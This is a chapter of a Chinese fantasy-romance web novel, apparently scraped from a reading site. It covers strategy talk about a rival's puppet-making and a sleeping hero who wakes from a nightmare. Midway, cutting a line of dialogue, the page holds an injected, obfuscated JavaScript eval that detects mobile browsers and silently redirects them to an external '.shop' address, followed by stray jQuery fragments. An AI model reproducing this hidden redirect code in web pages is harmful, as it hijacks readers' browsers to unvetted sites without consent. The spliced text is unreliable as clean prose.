默认冷灰
24号文字
方正启体

166. 沉睡

作者:云壶溪酒本书字数:K更新时间:
    金闻称王这一消息很快由沈商和赵顺带去了圣灵宫。


    除了容珠和应白,其他人进出圣灵宫都要靠护身符,造护身符也不难,容珠一连造了几十张给每人分发,应参说要想办法把这结界给消了,不过在此之前还有更重要的事去做,便是赶在金闻抓到万初前先解决了万初。


    兄妹俩每日会回来一趟看应白的身体情况,眼下应白还在床上沉睡着,应参说应白只是血肉伤,身体并没有被金闻的灵力伤得多严重,按理说该醒了,但仔细检查后却没发现其他问题,不免疑惑不已。


    说起金闻称王,应参道:“他称天称地称神仙也只是他哄自己的称呼罢了,圣灵宫这么气派的地方被我们占着,他指不定气成什么样。”


    赵顺道:“眼下大部分门派碍于金闻的实力和威严纷纷投靠了王宫,金闻为了将来取胜一定会无所不用其极,这些门派的力量若加总起来的确不容小觑,不过战斗面前,人人都会先求保全自身,我担心的是,金闻既然有了练傀儡的想法,他万一把这些门派中厉害的人都练成了只知战斗的替死鬼,那便有些棘手了。”


    棘手在这些人若都被练成了傀儡,那在杀死金闻前还要杀掉很多不相干的人,这些人虽然跟随金闻但不是个个都该死,谁又希望自己变成这样的下场?


    其次,跟众多傀儡作战也消耗体力和灵力,若金闻想用车轮战的方法获胜,那对己方来讲会很不利。


    容珠想了想道:“制造傀儡同样要耗费精力,且那冰封屏障要耗费不少灵力,若金闻连自己的灵力都稳定不住,他更不可能冒险去制造傀儡。赵叔,小沈,麻烦你们多多注意王宫,既然水落泽和林素玉都无法彻底让金闻稳定灵力,他要么重新选人,要么就要采取其他办法,到时候你们告诉我,我想办法不让他得逞。”


    赵沈二人应了声“是”,容珠又问:“万初一直不曾现身,现在所有门派都投靠王宫了吗?有没有想投靠万初的?”


    她都不必问有没有人投靠应白,虽说现在局势大变,但金闻体内可有两个圣灵的灵核,这里的人以强者为尊,肯定认为金闻的胜算更大,且应白被喊打喊杀了这么久,让这里的人去接受他不是一时半刻能做到的。


    沈商道:“万初因天阙台丢掉武器落荒而逃一事,在众人心中的地位大大降低,加上金闻现在威风得很,大小门派都陆陆续续投靠王宫了,高灵门派中,清凌门还没做选择。”


    这正是容珠想知道的消息。结果有些出人意料,容檀没有立即选择金闻,她在想什么?清凌门犹豫的原因是什么?


    “有件事我们还不能掉以轻心。”容珠一边想着清凌门的事,一边思考着别的,“徐旻的尸体还没找到。”


    “如果金闻以同样的手段挖了徐旻的灵核,那徐旻的尸体有可能不知被他扔在哪了,这倒没什么,刚才赵叔说金闻会练傀儡,怕就怕,他这一次本就不准备挖徐旻的灵核,而是从一开始就把他变成了傀儡。”


    沈商好奇:“可金闻已经跑了,圣灵宫也仔细找过,若徐旻被练成了傀儡,金闻总得把他带走吧?”


    “随身携带当然可以。”赵顺看了他一眼又看向容珠,“圣灵水平的人,乾坤囊应该大到装百人都不成问题。”


    容珠点点头:“不排除有这个可能。”


    “哇”!沈商惊奇道:“那是不是连房子都能装下?以后去什么地方也不用去客栈住宿,直接把房子掏出来就行?”


    赵顺拍了一下他的头:“我们现在在讨论什么?你又在说什么?”


    容珠笑了笑道:“你跟赵叔好好修炼,将来知道得更多。”


    “我想跟姐姐修炼……”沈商边揉头边极小声地说着,赵顺又要扬手打他,大家都笑了起来。


    过了一会儿,应参言归正传:“徐旻的灵力在其他圣灵当中是最低的,若被金闻练成了傀儡,金闻未必不会对他进行改造。”


    他回忆道:“我曾在一本邪书中看过这种邪术,不过我当时对此深以为恶,不愿多看,当即一把火烧了,但也能想到若改造成功,徐旻定不再是从前的徐旻了。”


    眼下王宫不是说进就能进的,万初一日找不到,应夫人似乎也很不安,应白不知因由地昏迷不醒,众人每日都处在担忧和警惕中。


    容珠最后安排道:“赵叔,小沈,你们在搜集情报时顺便注意一下有没有人想来圣灵宫,若是找事的自不必理会,若有来见我的便知会我一声。”


    她对清凌门的犹豫抱了一丝希望。


    临走前,应夫人又去内室看了一下应白,“那天我忽然听见他在叫你的名字,原以为他醒了,后来发现他是在说梦话,嘴角还笑呢,不知道梦见什么了。”


    容珠不知道应白当时的笑是什么样子,但此刻应夫人双眸里的笑却似别有意味,好像他俩在梦里干什么似的,容珠局促一笑:“之前有几次我也听见了。”


    大概有三次,容珠坐在应白床边静静看着他的时候偶然听到他在叫自己。如此一来,他究竟在做什么梦一连做了这么多天?而且梦境里都是她?


    应夫人握着她的手笑看她:“应白能真心待你我便放心了,要知道有些男子胸有一腔抱负但对感情却弃之如履,这样的人不管他有多大的作为,那都是不能去真心相待的。他是我的孩子,我当然希望他能实现他的梦想,我也希望他自己的个人生活能幸福。”


    说到这儿,应夫人发出无声的叹息。


    “我们做女子的往往很重视两人之间的感情,若在感情中遭受伤害那对我们来讲终归是错付,即便以后可以拿得起放得下,但谁愿意闲的没事经历这样一段只有苦果的爱恋。”


    容珠莫名觉得应夫人在说她的丈夫……


    “有些男子日常处事是一个样,和喜欢的人在一起是另外一个样,若应白以后做了什么让你不开心的事,你跟他沟通不成就来找我,我虽是他母亲,但我跟你同为女子,感情这件事我当然向着你。”


    容珠忍不住一笑。笑过后又想到应白心里一直很想知道他父亲是谁,如果应夫人方才说的那种男子真的是应白的父亲……容珠顿觉难过无比。


    抛妻弃子在这个世界很平常,但哪怕大家都认为这没有问题,难道作为一个妻子,作为一个孩子,没了丈夫,没了父亲就若无其事吗?


    应夫人是性情中人,应白内心柔软重情,对他们而言,自是心伤大过一切。


    应夫人走后,容珠坐在床边握着被子边的这只手,这只手温暖宽大,指根处的茧子触摸起来又糙又硬,她想起应白捧她脸时手心从来都会微微弯起,有时亲她亲的忘乎所以时,茧子就像他内心深处的情感,狂烈又克制地在她脸上轻轻摩擦。


    “容珠…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231938|188622||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …”


    容珠正沉浸在摸茧子中,忽然听到了一声发颤的声音,她倏地抬头,“阿白?”


    应白眉头蹙起,手指紧紧握了起来,“容珠……别这样……”


    “阿白,你做梦了,你睁开眼看看我,我什么事也没有。”


    “容珠……容珠……”应白的手越握越紧,表情十分痛苦,“不要杀他们……他们都是你的朋友……”


    容珠心里一咯噔,刹那间她就猜到应白此刻的梦境在演什么,控制不住自己杀人是她的噩梦,怎么现在跑到应白的梦境里了?


    “别杀他们……不要……”


    两滴眼泪从应白紧闭的双眼里一划而过,容珠惊愕,她从来没见过应白哭,想来这梦境一定非同寻常,她呼唤道:“阿白,阿白,你醒醒,我没有杀人,我就在你身边,你睁开眼看看我,我就在你身边。”


    应白的呓语忽然停止了,他面容悲痛,手紧紧握着容珠,放在自己的心口上不放。


    不知过了多久,他湿润的睫毛轻轻一颤,棕色的瞳孔在水汽中渐渐显露出来,容珠大喜,倾身靠近他道:“阿白,你醒了!”


    应白半睁着眼,神情涣散,似乎还没彻底从梦境中走出。他感觉眼前的世界模糊不堪,有张脸在近距离地看着自己,心底的伤痛无尽蔓延着,他感觉自己孤独极了。


    就算得到了一切又怎样?就算成为世界之主又怎样?他没有了朋友,没有了爱人,此后只有无边无际的孤独包围着他,直到死亡的那一刻。


    “阿白?你能听到我说话吗?”


    容珠心里的恐慌胜过应白醒来的喜悦,她轻轻地,一遍一遍地呼唤他,直到应白涣散地瞳孔慢慢聚焦在她脸上。


    应白看了她好久好久,瞳孔里的震惊之色愈渐加深,他动了动嘴唇:“容珠?”


    “是我!阿白,你怎么样?你做什么梦了?”


    梦?


    什么梦?


    应白一直端详着她的眉眼,丝丝理智渐渐回笼,他棕色的瞳孔微微颤动着,仿佛元神归位,一把将她抱了过来紧紧搂住,“珠珠,珠珠,是你,那些不是真的,那些都是梦境,都是假的,你是你,你还在我身边,你在我身边……”


    悬着的心渐渐放松下来,容珠在他耳边轻轻道:“我一直在你身边,你沉睡了这么多天,把舅舅和伯母担心坏了,他们晚会儿回来看见你醒了一定很高兴。”


    应白每听一句,笑容便扬得越高,容珠知道自己做噩梦总忍不住哭泣,那次应白意外亲了她的画面在脑中出现,她捧着他的脸在他额头上轻轻一亲。


    应白只一味的笑,一味地看着她,一句话也不说。


    容珠好奇心旺盛,摸着他的脸问:“你做什么噩梦了?怎么都把你吓哭了?”


    男儿有泪不轻弹,容珠此时没有嘲笑的意思,她眸光中尽是担忧之色,见应白的笑容慢慢从脸上消失,神色难辨。


    她安慰道:“反正是个梦,我没有杀谁,我就在你眼前,你说出来让我也听听,若下次我梦见了我就知道这是假的,我就不会害怕了。”


    她起身坐在床边,握着他的手,洗耳恭听。


    应白的目光移到了屋顶,眼角流下的泪此刻形成一道干涸的印记僵硬在他的皮肤上,良久,他沉沉道:“这是个可怕的梦,对我来讲是世上最可怕的事。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)